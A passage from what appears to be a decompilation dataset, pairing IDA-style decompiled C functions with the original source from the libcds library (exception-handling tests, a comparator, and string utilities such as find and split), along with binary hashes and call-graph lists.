EXN_TRY) {\n state.branch0 = 1;\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch1 = 1;\n exn_throw(\"tests/test_exn.c\",113,&(RuntimeException),((void *)0));\n state.branch2 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(AssertionException))) {\n state.branch3 = 1;\n }\n state.branch4 = 1;\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) {\n state.branch5 = 1;\n }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",122 -1); break; };\n if (!(state.branch1 == 1)) { test_fail(\"state.branch1 == 1\",\"tests/test_exn.c\",123 -1); break; };\n if (!(state.branch2 == 0)) { test_fail(\"state.branch2 == 0\",\"tests/test_exn.c\",124 -1); break; };\n if (!(state.branch3 == 0)) { test_fail(\"state.branch3 == 0\",\"tests/test_exn.c\",125 -1); break; };\n if (!(state.branch4 == 0)) { test_fail(\"state.branch4 == 0\",\"tests/test_exn.c\",126 -1); break; };\n if (!(state.branch5 == 1)) { test_fail(\"state.branch5 == 1\",\"tests/test_exn.c\",127 -1); break; };\n }\n Curr_Test = \"Verify_a_finally_block_is_executed_after_an_uncaught_exception_is_thrown\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n struct exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n exn_throw(\"tests/test_exn.c\",139,&(RuntimeException),((void *)0));\n state.branch1 = 1;\n } else if (exn_handler()->state == EXN_FINALLY) { state.branch2 = 1; }\n } else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) {\n state.branch3 = 1;\n }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",145 -1); break; };\n if (!(state.branch1 == 0)) { test_fail(\"state.branch1 == 0\",\"tests/test_exn.c\",146 -1); break; };\n if (!(state.branch2 == 1)) { test_fail(\"state.branch2 == 1\",\"tests/test_exn.c\",147 -1); break; };\n if (!(state.branch3 == 1)) { test_fail(\"state.branch3 == 1\",\"tests/test_exn.c\",148 -1); break; };\n }\n Curr_Test = \"Verify_a_finally_block_is_executed_after_a_succesful_try_block\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n struct exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n }\n else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(RuntimeException))) { state.branch1 = 1; }\n else if (exn_handler()->state == EXN_FINALLY) { state.branch2 = 1; }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",159 -1); break; };\n if (!(state.branch1 == 0)) { test_fail(\"state.branch1 == 0\",\"tests/test_exn.c\",160 -1); break; };\n if (!(state.branch2 == 1)) { test_fail(\"state.branch2 == 1\",\"tests/test_exn.c\",161 -1); break; };\n }\n Curr_Test = \"Verify_successful_assertions_do_not_throw_an_exception\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n struct exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n state.branch0 = 1;\n exn_assert(\"tests/test_exn.c\",172,1,\"true\");\n state.branch1 = 1;\n }\n else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(AssertionException))) { state.branch2 = 1; }\n if (!(state.branch0 == 1)) { test_fail(\"state.branch0 == 1\",\"tests/test_exn.c\",176 -1); break; };\n if (!(state.branch1 == 1)) { test_fail(\"state.branch1 == 1\",\"tests/test_exn.c\",177 -1); break; };\n }\n Curr_Test = \"Verify_unsuccessful_assertions_throw_an_exception\"; Test_Results.total++; test_setup(); if(0 == test_start()) for(Loop_Var = 0; Loop_Var < 1; Loop_Var++)\n {\n struct exn_test_state_t state = {0,0,0,0,0,0,0,0};\n for(exn_prep(), _setjmp (exn_handler()->context); exn_process();) if (exn_handler()->state == EXN_TRY) {\n exn_assert(\"tests/test_exn.c\",184,0,\"false\");\n state.branch0 = 1;\n }\n else if ((exn_handler()->state == EXN_CATCH) && exn_catch(&(AssertionException))) { state.branch1 = 1; }\n if (!(state.branch0 == 0)) { test_fail(\"state.branch0 == 0\",\"tests/test_exn.c\",188 -1); break; };\n if (!(state.branch1 == 1)) { test_fail(\"state.branch1 == 1\",\"tests/test_exn.c\",189 -1); break; };\n }\n}", "variable_types": [ [ "state", "struct exn_test_state_t { unsigned int branch0; unsigned int branch1; unsigned int branch2; unsigned int branch3; unsigned int branch4; unsigned int branch5; unsigned int branch6; unsigned int branch7; }" ] ], "return_type": "void", "user_defined_types": [ "struct exn_test_state_t { unsigned int branch0; unsigned int branch1; unsigned int branch2; unsigned int branch3; unsigned int branch4; unsigned int branch5; unsigned int branch6; unsigned int branch7; }" ], "binary_hash": "6ee45a757e6f45faf93e6c642b10f820e96a35a1c46c6747f3bdc8a118b64e51" }, { "name": "test_setup", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "void test_setup()\n{\nExit_Status = 0;\n}\n", "canonical_decompiled_code": "void func1()\n{\nExit_Status = 0;\n}", "original_code": "static void test_setup(void) {\n Exit_Status = 0;\n}", "canonical_original_code": "static void test_setup() {\n Exit_Status = 0;\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "6ee45a757e6f45faf93e6c642b10f820e96a35a1c46c6747f3bdc8a118b64e51" } ]
8c32deadd8a57be67bbe1dc2e3cb3aff223365ab54c9d201c9942f5a1a8483e1
mikedlowis/libcds
[ [ "cmp_free", "->" ], [ "cmp_compare", "->" ] ]
[]
[ { "name": "cmp_free", "canonical_name": "func0", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall cmp_free(__int64 *a1)\n{\n__int64 result; // rax\n\nresult = (__int64)a1;\nif ( a1 )\n{\nresult = *a1;\nif ( *a1 )\nresult = mem_release(*a1);\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 *a1)\n{\n__int64 result; // rax\n\nresult = (__int64)a1;\nif ( a1 )\n{\nresult = *a1;\nif ( *a1 )\nresult = mem_release(*a1);\n}\nreturn result;\n}", "original_code": "static void cmp_free(void* obj)\n{\n cmp_t* cmp = (cmp_t*)obj;\n if ((((void *)0) != obj) && (((void *)0) != cmp->env))\n mem_release(cmp->env);\n}", "canonical_original_code": "static void cmp_free(void *obj)\n{\n struct cmp_t *cmp = (cmp_t*)obj;\n if ((((void *)0) != obj) && (((void *)0) != cmp->env))\n mem_release(cmp->env);\n}", "variable_types": [ [ "obj", "void *" ], [ "cmp", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *" ] ], "return_type": "void", "user_defined_types": [ "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }" ], "binary_hash": "8c32deadd8a57be67bbe1dc2e3cb3aff223365ab54c9d201c9942f5a1a8483e1" }, { "name": "cmp_compare", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall cmp_compare(__int64 a1, __int64 a2, __int64 a3)\n{\nreturn (*(__int64 (__fastcall **)(_QWORD, __int64, __int64))(a1 + 8))(*(_QWORD *)a1, a2, a3);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1, __int64 a2, __int64 a3)\n{\nreturn (*(__int64 (__fastcall **)(_QWORD, __int64, __int64))(a1 + 8))(*(_QWORD *)a1, a2, a3);\n}", "original_code": "int cmp_compare(cmp_t* cmp, void* obja, void* objb)\n{\n return cmp->fn(cmp->env, obja, objb);\n}", "canonical_original_code": "int cmp_compare(struct cmp_t *cmp, void *obja, void *objb)\n{\n return cmp->fn(cmp->env, obja, objb);\n}", "variable_types": [ [ "cmp", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *" ], [ "obja", "void *" ], [ "objb", "void *" ] ], "return_type": "int", "user_defined_types": [ "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }" ], "binary_hash": "8c32deadd8a57be67bbe1dc2e3cb3aff223365ab54c9d201c9942f5a1a8483e1" } ]
bdb355d844936df4876a7c9da0c0f4aabab1b064de657d239b55654054ae351e
mikedlowis/libcds
[ [ "str_size", "->", "str_split" ], [ "str_cstr", "->" ], [ "str_copy", "->", "str_set" ], [ "str_at", "->" ], [ "str_set", "->", "str_copy" ], [ "str_concat", "->" ], [ "str_compare", "->" ], [ "str_find", "->", "str_split" ], [ "str_rfind", "->" ], [ "str_split", "->", "str_find", "str_size" ] ]
[]
[ { "name": "str_size", "canonical_name": "func0", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall str_size(__int64 a1)\n{\nexn_assert(\"source/string/str.c\", 34LL, a1 != 0, \"NULL != p_str\");\nreturn *(_QWORD *)a1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1)\n{\nexn_assert(\"source/string/str.c\", 34LL, a1 != 0, \"NULL != p_str\");\nreturn *(_QWORD *)a1;\n}", "original_code": "size_t str_size(str_t* p_str)\n{\n exn_assert(\"source/string/str.c\",34,((void *)0) != p_str,\"NULL != p_str\");\n return p_str->size;\n}", "canonical_original_code": "unsigned long str_size(struct str_t *p_str)\n{\n exn_assert(\"source/string/str.c\",34,((void *)0) != p_str,\"NULL != p_str\");\n return p_str->size;\n}", "variable_types": [ [ "p_str", "struct str_t { unsigned long size; char data[]; } *" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct str_t { unsigned long size; char data[]; }" ], "binary_hash": "bdb355d844936df4876a7c9da0c0f4aabab1b064de657d239b55654054ae351e" }, { "name": "str_cstr", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall str_cstr(__int64 a1)\n{\nexn_assert(\"source/string/str.c\", 40LL, a1 != 0, \"NULL != p_str\");\nreturn a1 + 8;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1)\n{\nexn_assert(\"source/string/str.c\", 40LL, a1 != 0, \"NULL != p_str\");\nreturn a1 + 8;\n}", "original_code": "const char* str_cstr(str_t* p_str)\n{\n exn_assert(\"source/string/str.c\",40,((void *)0) != p_str,\"NULL != p_str\");\n return p_str->data;\n}", "canonical_original_code": "char *str_cstr(struct str_t *p_str)\n{\n exn_assert(\"source/string/str.c\",40,((void *)0) != p_str,\"NULL != p_str\");\n return p_str->data;\n}", "variable_types": [ [ "p_str", "struct str_t { unsigned long size; char data[]; } *" ] ], "return_type": "char *", "user_defined_types": [ "struct str_t { unsigned long size; char data[]; }" ], "binary_hash": "bdb355d844936df4876a7c9da0c0f4aabab1b064de657d239b55654054ae351e" }, { "name": "str_copy", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall str_copy(_QWORD *a1)\n{\nexn_assert(\"source/string/str.c\", 46LL, a1 != 0LL, \"NULL != p_str\");\nreturn str_substr(a1, 0LL, *a1);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(_QWORD *a1)\n{\nexn_assert(\"source/string/str.c\", 46LL, a1 != 0LL, \"NULL != p_str\");\nreturn str_substr(a1, 0LL, *a1);\n}", "original_code": "str_t* str_copy(str_t* p_str)\n{\n exn_assert(\"source/string/str.c\",46,((void *)0) != p_str,\"NULL != p_str\");\n return str_substr(p_str, 0, p_str->size);\n}", "canonical_original_code": "struct str_t *str_copy(struct str_t *p_str)\n{\n exn_assert(\"source/string/str.c\",46,((void *)0) != p_str,\"NULL != p_str\");\n return str_substr(p_str, 0, p_str->size);\n}", "variable_types": [ [ "p_str", "struct str_t *" ] ], "return_type": "struct str_t { unsigned long size; char data[]; } *", "user_defined_types": [ "struct str_t { unsigned long size; char data[]; }" ], "binary_hash": "bdb355d844936df4876a7c9da0c0f4aabab1b064de657d239b55654054ae351e" }, { "name": "str_at", "canonical_name": "func3", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall str_at(unsigned __int64 *a1, unsigned __int64 a2)\n{\n__int64 result; // rax\n\nexn_assert(\"source/string/str.c\", 52LL, a1 != 0LL, \"NULL != p_str\");\nif ( a2 >= *a1 )\nresult = 0LL;\nelse\nresult = *((unsigned __int8 *)a1 + a2 + 8);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func3(unsigned __int64 *a1, unsigned __int64 a2)\n{\n__int64 result; // rax\n\nexn_assert(\"source/string/str.c\", 52LL, a1 != 0LL, \"NULL != p_str\");\nif ( a2 >= *a1 )\nresult = 0LL;\nelse\nresult = *((unsigned __int8 *)a1 + a2 + 8);\nreturn result;\n}", "original_code": "char str_at(str_t* p_str, size_t index)\n{\n exn_assert(\"source/string/str.c\",52,((void *)0) != p_str,\"NULL != p_str\");\n return (index >= p_str->size) ? '\\0' : p_str->data[index];\n}", "canonical_original_code": "char str_at(struct str_t *p_str, unsigned long index)\n{\n exn_assert(\"source/string/str.c\",52,((void *)0) != p_str,\"NULL != p_str\");\n return (index >= p_str->size) ? '\\0' : p_str->data[index];\n}", "variable_types": [ [ "p_str", "struct str_t { unsigned long size; char data[]; } *" ], [ "index", "unsigned long" ] ], "return_type": "char", "user_defined_types": [ "struct str_t { unsigned long size; char data[]; }" ], "binary_hash": "bdb355d844936df4876a7c9da0c0f4aabab1b064de657d239b55654054ae351e" }, { "name": "str_set", "canonical_name": "func4", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall str_set(unsigned __int64 *a1, unsigned __int64 a2, char a3)\n{\n__int64 v5; // [rsp+28h] [rbp-8h]\n\nv5 = 0LL;\nexn_assert(\"source/string/str.c\", 59LL, a1 != 0LL, \"NULL != p_str\");\nif ( a2 < *a1 )\n{\nv5 = str_copy(a1);\n*(_BYTE *)(v5 + a2 + 8) = a3;\n}\nreturn v5;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(unsigned __int64 *a1, unsigned __int64 a2, char a3)\n{\n__int64 v5; // [rsp+28h] [rbp-8h]\n\nv5 = 0LL;\nexn_assert(\"source/string/str.c\", 59LL, a1 != 0LL, \"NULL != p_str\");\nif ( a2 < *a1 )\n{\nv5 = func2(a1);\n*(_BYTE *)(v5 + a2 + 8) = a3;\n}\nreturn v5;\n}", "original_code": "str_t* str_set(str_t* p_str, size_t index, char val)\n{\n str_t* p_newstr = ((void *)0);\n exn_assert(\"source/string/str.c\",59,((void *)0) != p_str,\"NULL != p_str\");\n if (index < p_str->size)\n {\n p_newstr = str_copy(p_str);\n p_newstr->data[index] = val;\n }\n return p_newstr;\n}", "canonical_original_code": "struct str_t *str_set(struct str_t *p_str, unsigned long index, char val)\n{\n struct str_t *p_newstr = ((void *)0);\n exn_assert(\"source/string/str.c\",59,((void *)0) != p_str,\"NULL != p_str\");\n if (index < p_str->size)\n {\n p_newstr = str_copy(p_str);\n p_newstr->data[index] = val;\n }\n return p_newstr;\n}", "variable_types": [ [ "p_str", "struct str_t *" ], [ "index", "unsigned long" ], [ "val", "char" ], [ "p_newstr", "struct str_t { unsigned long size; char data[]; } *" ] ], "return_type": "struct str_t { unsigned long size; char data[]; } *", "user_defined_types": [ "struct str_t { unsigned long size; char data[]; }" ], "binary_hash": "bdb355d844936df4876a7c9da0c0f4aabab1b064de657d239b55654054ae351e" }, { "name": "str_concat", "canonical_name": "func5", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall str_concat(_QWORD *a1, __int64 a2)\n{\nexn_assert(\"source/string/str.c\", 70LL, a1 != 0LL, \"NULL != p_str1\");\nexn_assert(\"source/string/str.c\", 71LL, a2 != 0, \"NULL != p_str2\");\nreturn str_insert(a1, *a1, a2);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(_QWORD *a1, __int64 a2)\n{\nexn_assert(\"source/string/str.c\", 70LL, a1 != 0LL, \"NULL != p_str1\");\nexn_assert(\"source/string/str.c\", 71LL, a2 != 0, \"NULL != p_str2\");\nreturn str_insert(a1, *a1, a2);\n}", "original_code": "str_t* str_concat(str_t* p_str1, str_t* p_str2)\n{\n exn_assert(\"source/string/str.c\",70,((void *)0) != p_str1,\"NULL != p_str1\");\n exn_assert(\"source/string/str.c\",71,((void *)0) != p_str2,\"NULL != p_str2\");\n return str_insert(p_str1, p_str1->size, p_str2);\n}", "canonical_original_code": "struct str_t *str_concat(struct str_t *p_str1, struct str_t *p_str2)\n{\n exn_assert(\"source/string/str.c\",70,((void *)0) != p_str1,\"NULL != p_str1\");\n exn_assert(\"source/string/str.c\",71,((void *)0) != p_str2,\"NULL != p_str2\");\n return str_insert(p_str1, p_str1->size, p_str2);\n}", "variable_types": [ [ "p_str1", "struct str_t *" ], [ "p_str2", "struct str_t *" ] ], "return_type": "struct str_t { unsigned long size; char data[]; } *", "user_defined_types": [ "struct str_t { unsigned long size; char data[]; }" ], "binary_hash": "bdb355d844936df4876a7c9da0c0f4aabab1b064de657d239b55654054ae351e" }, { "name": "str_compare", "canonical_name": "func6", "repo": "mikedlowis/libcds", "decompiled_code": "int __fastcall str_compare(__int64 a1, __int64 a2)\n{\nexn_assert(\"source/string/str.c\", 115LL, a1 != 0, \"NULL != p_str1\");\nexn_assert(\"source/string/str.c\", 116LL, a2 != 0, \"NULL != p_str2\");\nreturn strcmp((const char *)(a1 + 8), (const char *)(a2 + 8));\n}\n", "canonical_decompiled_code": "int __fastcall func6(__int64 a1, __int64 a2)\n{\nexn_assert(\"source/string/str.c\", 115LL, a1 != 0, \"NULL != p_str1\");\nexn_assert(\"source/string/str.c\", 116LL, a2 != 0, \"NULL != p_str2\");\nreturn strcmp((const char *)(a1 + 8), (const char *)(a2 + 8));\n}", "original_code": "int str_compare(str_t* p_str1, str_t* p_str2)\n{\n exn_assert(\"source/string/str.c\",115,((void *)0) != p_str1,\"NULL != p_str1\");\n exn_assert(\"source/string/str.c\",116,((void *)0) != p_str2,\"NULL != p_str2\");\n return strcmp(p_str1->data, p_str2->data);\n}", "canonical_original_code": "int str_compare(struct str_t *p_str1, struct str_t *p_str2)\n{\n exn_assert(\"source/string/str.c\",115,((void *)0) != p_str1,\"NULL != p_str1\");\n exn_assert(\"source/string/str.c\",116,((void *)0) != p_str2,\"NULL != p_str2\");\n return strcmp(p_str1->data, p_str2->data);\n}", "variable_types": [ [ "p_str1", "struct str_t { unsigned long size; char data[]; } *" ], [ "p_str2", "struct str_t *" ] ], "return_type": "int", "user_defined_types": [ "struct str_t { unsigned long size; char data[]; }" ], "binary_hash": "bdb355d844936df4876a7c9da0c0f4aabab1b064de657d239b55654054ae351e" }, { "name": "str_find", "canonical_name": "func7", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall str_find(const char *a1, __int64 a2)\n{\nunsigned __int64 i; // [rsp+10h] [rbp-10h]\n__int64 v4; // [rsp+18h] [rbp-8h]\n\nv4 = -1LL;\nexn_assert(\"source/string/str.c\", 123LL, a1 != 0LL, \"NULL != p_str1\");\nexn_assert(\"source/string/str.c\", 124LL, a2 != 0, \"NULL != p_str2\");\nfor ( i = 0LL; i < *(_QWORD *)a1; ++i )\n{\nif ( !strncmp(&a1[i + 8], (const char *)(a2 + 8), *(_QWORD *)a2) )\nreturn i;\n}\nreturn v4;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func7(const char *a1, __int64 a2)\n{\nunsigned __int64 i; // [rsp+10h] [rbp-10h]\n__int64 v4; // [rsp+18h] [rbp-8h]\n\nv4 = -1LL;\nexn_assert(\"source/string/str.c\", 123LL, a1 != 0LL, \"NULL != p_str1\");\nexn_assert(\"source/string/str.c\", 124LL, a2 != 0, \"NULL != p_str2\");\nfor ( i = 0LL; i < *(_QWORD *)a1; ++i )\n{\nif ( !strncmp(&a1[i + 8], (const char *)(a2 + 8), *(_QWORD *)a2) )\nreturn i;\n}\nreturn v4;\n}", "original_code": "size_t str_find(str_t* p_str1, str_t* p_str2)\n{\n size_t idx = (18446744073709551615UL);\n exn_assert(\"source/string/str.c\",123,((void *)0) != p_str1,\"NULL != p_str1\");\n exn_assert(\"source/string/str.c\",124,((void *)0) != p_str2,\"NULL != p_str2\");\n for(size_t i = 0; i < p_str1->size; i++) {\n if(0 == strncmp(&(p_str1->data[i]), p_str2->data, p_str2->size))\n {\n idx = i;\n break;\n }\n }\n return idx;\n}", "canonical_original_code": "unsigned long str_find(struct str_t *p_str1, struct str_t *p_str2)\n{\n unsigned long idx = (18446744073709551615UL);\n exn_assert(\"source/string/str.c\",123,((void *)0) != p_str1,\"NULL != p_str1\");\n exn_assert(\"source/string/str.c\",124,((void *)0) != p_str2,\"NULL != p_str2\");\n for(unsigned long i = 0; i < p_str1->size; i++) {\n if(0 == strncmp(&(p_str1->data[i]), p_str2->data, p_str2->size))\n {\n idx = i;\n break;\n }\n }\n return idx;\n}", "variable_types": [ [ "p_str1", "struct str_t { unsigned long size; char data[]; } *" ], [ "p_str2", "struct str_t *" ], [ "idx", "unsigned long" ], [ "i", "unsigned long" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct str_t { unsigned long size; char data[]; }" ], "binary_hash": "bdb355d844936df4876a7c9da0c0f4aabab1b064de657d239b55654054ae351e" }, { "name": "str_rfind", "canonical_name": "func8", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall str_rfind(const char *a1, __int64 a2)\n{\n__int64 i; // [rsp+10h] [rbp-10h]\n__int64 v4; // [rsp+18h] [rbp-8h]\n\nv4 = -1LL;\nexn_assert(\"source/string/str.c\", 138LL, a1 != 0LL, \"NULL != p_str1\");\nexn_assert(\"source/string/str.c\", 139LL, a2 != 0, \"NULL != p_str2\");\nfor ( i = *(_QWORD *)a1; i; --i )\n{\nif ( !strncmp(&a1[i + 7], (const char *)(a2 + 8), *(_QWORD *)a2) )\nreturn i - 1;\n}\nreturn v4;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func8(const char *a1, __int64 a2)\n{\n__int64 i; // [rsp+10h] [rbp-10h]\n__int64 v4; // [rsp+18h] [rbp-8h]\n\nv4 = -1LL;\nexn_assert(\"source/string/str.c\", 138LL, a1 != 0LL, \"NULL != p_str1\");\nexn_assert(\"source/string/str.c\", 139LL, a2 != 0, \"NULL != p_str2\");\nfor ( i = *(_QWORD *)a1; i; --i )\n{\nif ( !strncmp(&a1[i + 7], (const char *)(a2 + 8), *(_QWORD *)a2) )\nreturn i - 1;\n}\nreturn v4;\n}", "original_code": "size_t str_rfind(str_t* p_str1, str_t* p_str2)\n{\n size_t idx = (18446744073709551615UL);\n exn_assert(\"source/string/str.c\",138,((void *)0) != p_str1,\"NULL != p_str1\");\n exn_assert(\"source/string/str.c\",139,((void *)0) != p_str2,\"NULL != p_str2\");\n for(size_t i = p_str1->size; i > 0; i--) {\n if(0 == strncmp(&(p_str1->data[i-1]), p_str2->data, p_str2->size))\n {\n idx = i-1;\n break;\n }\n }\n return idx;\n}", "canonical_original_code": "unsigned long str_rfind(struct str_t *p_str1, struct str_t *p_str2)\n{\n unsigned long idx = (18446744073709551615UL);\n exn_assert(\"source/string/str.c\",138,((void *)0) != p_str1,\"NULL != p_str1\");\n exn_assert(\"source/string/str.c\",139,((void *)0) != p_str2,\"NULL != p_str2\");\n for(unsigned long i = p_str1->size; i > 0; i--) {\n if(0 == strncmp(&(p_str1->data[i-1]), p_str2->data, p_str2->size))\n {\n idx = i-1;\n break;\n }\n }\n return idx;\n}", "variable_types": [ [ "p_str1", "struct str_t { unsigned long size; char data[]; } *" ], [ "p_str2", "struct str_t *" ], [ "idx", "unsigned long" ], [ "i", "unsigned long" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct str_t { unsigned long size; char data[]; }" ], "binary_hash": "bdb355d844936df4876a7c9da0c0f4aabab1b064de657d239b55654054ae351e" }, { "name": "str_split", "canonical_name": "func9", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall str_split(const char *a1, __int64 a2)\n{\n__int64 v2; // rbx\n__int64 v3; // rax\n_QWORD *v4; // rax\nunsigned __int64 i; // rax\n__int64 v6; // rax\n__int64 v7; // rax\n__int64 v9; // [rsp+18h] [rbp-38h]\n_QWORD *v10; // [rsp+20h] [rbp-30h]\n__int64 v11; // [rsp+28h] [rbp-28h]\n__int64 v12; // [rsp+30h] [rbp-20h]\nunsigned __int64 v13; // [rsp+38h] [rbp-18h]\n\nv12 = vec_new(0LL);\nv11 = str_find(a1, a2);\nif ( v11 != -1 )\n{\nv2 = str_size((__int64)a1);\nv3 = str_size(a2);\nv10 = str_substr((__int64)a1, v3 + v11, v2);\nv4 = str_substr((__int64)a1, 0LL, v11);\nvec_push_back(v12, v4);\nif ( str_find(a1, a2) == -1 )\n{\nvec_push_back(v12, v10);\n}\nelse\n{\nv9 = str_split(v10, a2);\nv13 = 0LL;\nfor ( i = vec_size(v9); v13 < i; i = vec_size(v9) )\n{\nv6 = vec_at(v9, v13);\nv7 = mem_retain(v6);\nvec_push_back(v12, v7);\n++v13;\n}\nmem_release(v9);\n}\n}\nreturn v12;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func9(const char *a1, __int64 a2)\n{\n__int64 v2; // rbx\n__int64 v3; // rax\n_QWORD *v4; // rax\nunsigned __int64 i; // rax\n__int64 v6; // rax\n__int64 v7; // rax\n__int64 v9; // [rsp+18h] [rbp-38h]\n_QWORD *v10; // [rsp+20h] [rbp-30h]\n__int64 v11; // [rsp+28h] [rbp-28h]\n__int64 v12; // [rsp+30h] [rbp-20h]\nunsigned __int64 v13; // [rsp+38h] [rbp-18h]\n\nv12 = vec_new(0LL);\nv11 = func7(a1, a2);\nif ( v11 != -1 )\n{\nv2 = func0((__int64)a1);\nv3 = func0(a2);\nv10 = str_substr((__int64)a1, v3 + v11, v2);\nv4 = str_substr((__int64)a1, 0LL, v11);\nvec_push_back(v12, v4);\nif ( func7(a1, a2) == -1 )\n{\nvec_push_back(v12, v10);\n}\nelse\n{\nv9 = func9(v10, a2);\nv13 = 0LL;\nfor ( i = vec_size(v9); v13 < i; i = vec_size(v9) )\n{\nv6 = vec_at(v9, v13);\nv7 = mem_retain(v6);\nvec_push_back(v12, v7);\n++v13;\n}\nmem_release(v9);\n}\n}\nreturn v12;\n}", "original_code": "vec_t* str_split(str_t* str, str_t* splitstr) {\n vec_t* vec = vec_new(0);\n size_t index = str_find(str, splitstr);\n if (index != (18446744073709551615UL)) {\n str_t* therest = str_substr(str, index + str_size(splitstr), str_size(str));\n vec_push_back( vec, str_substr(str, 0, index) );\n if ((18446744073709551615UL) != str_find(str, splitstr)) {\n vec_t* nextsplit = str_split(therest, splitstr);\n for (size_t idx = 0; idx < vec_size(nextsplit); idx++) {\n vec_push_back( vec, mem_retain( vec_at(nextsplit, idx) ) );\n }\n mem_release(nextsplit);\n } else {\n vec_push_back( vec, therest );\n }\n }\n return vec;\n}", "canonical_original_code": "struct vec_t *str_split(struct str_t *str, struct str_t *splitstr) {\n struct vec_t *vec = vec_new(0);\n unsigned long index = str_find(str, splitstr);\n if (index != (18446744073709551615UL)) {\n struct str_t *therest = str_substr(str, index + str_size(splitstr), str_size(str));\n vec_push_back( vec, str_substr(str, 0, index) );\n if ((18446744073709551615UL) != str_find(str, splitstr)) {\n struct vec_t *nextsplit = str_split(therest, splitstr);\n for (unsigned long idx = 0; idx < vec_size(nextsplit); idx++) {\n vec_push_back( vec, mem_retain( vec_at(nextsplit, idx) ) );\n }\n mem_release(nextsplit);\n } else {\n vec_push_back( vec, therest );\n }\n }\n return vec;\n}", "variable_types": [ [ "str", "struct str_t { unsigned long size; char data[]; } *" ], [ "splitstr", "struct str_t *" ], [ "vec", "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; } *" ], [ "index", "unsigned long" ], [ "therest", "struct str_t { unsigned long size; char data[]; } *" ], [ "nextsplit", "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; } *" ], [ "idx", "unsigned long" ] ], "return_type": "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; } *", "user_defined_types": [ "struct str_t { unsigned long size; char data[]; }", "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; }" ], "binary_hash": "bdb355d844936df4876a7c9da0c0f4aabab1b064de657d239b55654054ae351e" } ]
bf38943ddbdebdc49b093eeb076a054203d0f9d9281a3d7536b45287e7351695
mikedlowis/libcds
[ [ "mem_allocate", "->", "mem_box" ], [ "mem_refcount", "->" ], [ "mem_retain", "->" ], [ "mem_release", "->", "mem_swap" ], [ "mem_swap", "->", "mem_release" ], [ "mem_box", "->", "mem_allocate" ], [ "mem_unbox", "->" ] ]
[]
